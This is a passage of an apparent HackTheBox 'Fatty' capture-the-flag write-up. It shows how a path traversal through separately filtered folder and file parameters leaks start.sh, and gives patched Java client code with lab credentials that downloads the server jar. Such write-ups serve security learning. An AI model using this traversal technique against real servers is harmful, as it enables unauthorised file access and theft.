class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e2<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel, <\/span><span class=\"enlighter-s0\">\"Unable to contact the server. If this problem remains, please close and reopen the client.\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> textPane.<\/span><span class=\"enlighter-m3\">setText<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">response<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>There are two things that are interesting about this function:<\/p>\n<ol>\n<li>It implements a client-side filtering, that removes characters that do not match regular expression<span>\u00a0<\/span><code>[a-zA-Z0-9.]<\/code>. This could mean, that filtering is only performed on the client-side and the server does not apply any filter at all.<\/li>\n<li>The<span>\u00a0<\/span><code>open<\/code><span>\u00a0<\/span>function on the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>object does take two parameters. One is obviously the<span>\u00a0<\/span><em>filename<\/em>, while the second one is the value of the global variable<span>\u00a0<\/span><code>currentFolder<\/code>. We know that the<span>\u00a0<\/span><em>filename<span>\u00a0<\/span><\/em>parameter is filtered for<span>\u00a0<\/span><em>path traversal<span>\u00a0<\/span><\/em>attacks. However, as the<span>\u00a0<\/span><em>foldername<span>\u00a0<\/span><\/em>is not directly controlled by the user, it is likely that this value isn\u2019t filtered.<\/li>\n<\/ol>\n<p>After playing around a while with the<span>\u00a0<\/span><code>invo.open(\"foldername\", \"filename\")<\/code><span>\u00a0<\/span>function, it seems like<span>\u00a0<\/span><em>foldername<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>filename<\/em><span>\u00a0<\/span>are both filtered with the already known filter. So we have no way of injecting a<span>\u00a0<\/span><code>\/..\/<\/code><span>\u00a0<\/span>payload in one of these parameters. However, what is if<span>\u00a0<\/span><em>foldername<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>filename<\/em><span>\u00a0<\/span>are validated separately from each other? In this case we could submit<span>\u00a0<\/span><code>..<\/code><span>\u00a0<\/span>for the<span>\u00a0<\/span><em>foldername<span>\u00a0<\/span><\/em>and e.g.<span>\u00a0<\/span><code>start.sh<\/code><span>\u00a0<\/span>for the filename. If the two strings are filtered first and are then concatenated, this could allow us to download files from the parent folder. Lets give it a try and use a call to<span>\u00a0<\/span><code>invo.open(\"..\", \"start.sh\")<\/code>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: <\/span><span class=\"enlighter-c0\">#!\/bin\/sh<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># Unfortunately alpine docker containers seems to have problems with services.<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, <\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># both services are now started as part of the docker startup script.<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># Start cron service<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">crond -b<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># Start ssh server<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">\/usr\/sbin\/sshd<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># Start Java application server<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">su - qtc \/bin\/sh -c <\/span><span class=\"enlighter-s0\">\"java -jar \/opt\/fatty\/fatty-server.jar\"<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Cool, that worked fine. Having downloaded the<span>\u00a0<\/span><code>start.sh<\/code><span>\u00a0<\/span>script is a nice start and it already gives us some valuable information. The<span>\u00a0<\/span><em>fatty-server.jar<\/em><span>\u00a0<\/span>seems to run in an<span>\u00a0<\/span><em>alpine docker container<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>cron<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>ssh<span>\u00a0<\/span><\/em>services seem also to be present. This could come in handy, but first we are interested in downloading the<span>\u00a0<\/span><em>fatty-server.jar<\/em><span>\u00a0<\/span>application.<\/p>\n<p>The problem is now that our current code does only work for files that are human readable. Downloading an executable file containing some byte-code cannot be done by using the plain<span>\u00a0<\/span><code>invo.open(...)<\/code><span>\u00a0<\/span>call and we need to patch it a little bit. Let us first of all take a look at the original method implementation:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">open<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> foldername, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> filename<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> MessageParseException, MessageBuildException, IOException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> methodName = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Object<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{}<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m0\">getClass<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getEnclosingMethod<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">; <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logInfo<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' was called by user '\"<\/span><span class=\"enlighter-text\"> + user.<\/span><span class=\"enlighter-m3\">getUsername<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"'.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> AccessCheck.<\/span><span class=\"enlighter-m3\">checkAccess<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">methodName, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error: Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' is not allowed for this user account\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionMessage<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sessionID<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"open\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">foldername<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">filename<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sendAndRecv<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">hasError<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error: Your action caused an error on the application server!\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getContentAsString<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> Exception e <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-s0\">\"Unable to convert byte[] to String. Did you read in a binary file?\"<\/span><span class=\"enlighter-text\"> ;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> response;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see the function gets its response from<span>\u00a0<\/span><code>this.response<\/code>, which is a<span>\u00a0<\/span><code>ResponseMessage<\/code><span>\u00a0<\/span>object. Apart from<span>\u00a0<\/span><code>getContentAsString()<\/code>, the<span>\u00a0<\/span><code>ResponseMessage<\/code><span>\u00a0<\/span>class does also support a plain<span>\u00a0<\/span><code>getContent()<\/code><span>\u00a0<\/span>function, which returns a<span>\u00a0<\/span><em>bytearray<\/em><span>\u00a0<\/span>instead of a<span>\u00a0<\/span><em>String<\/em>. Inside our local<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>class we can now create a new method e.g. with name<span>\u00a0<\/span><code>bOpen<\/code>, which simply does the same as<span>\u00a0<\/span><code>open<\/code><span>\u00a0<\/span>but returns the bytearray from a<span>\u00a0<\/span><code>getContent()<\/code><span>\u00a0<\/span>call:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">byte<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">bOpen<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> foldername, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> filename<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> MessageParseException, MessageBuildException, IOException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionMessage<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sessionID<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"open\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">foldername<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">filename<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sendAndRecv<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getContent<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>To keep it short, we just skipped any error handling and throw exceptions instead. Now we need to write the bytearray to disk and we should get the executable<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. Here is the full code of our current client, that downloads the<span>\u00a0<\/span><em>fatty-server.jar<\/em><span>\u00a0<\/span>executable from the server:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> java.io.FileOutputStream<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> java.io.IOException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.connection.Connection<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.methods.Invoker<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageBuildException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageParseException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.resources.User<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> PathTraversalFiles <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">main<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> args <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Connection conn = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> Exception e <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Connection attempt failed: \"<\/span><span class=\"enlighter-text\"> + e.<\/span><span class=\"enlighter-m3\">getMessage<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"qtc\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"clarabibi\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Login succesful!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Login failed!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Current role: \"<\/span><span class=\"enlighter-text\"> + roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Invoker invo = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">byte<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> serverResponse = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> serverResponse = invo.<\/span><span class=\"enlighter-m3\">bOpen<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"..\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"fatty-server.jar\"<\/span><span class=\"enlighter-g1\">)<\/span><span 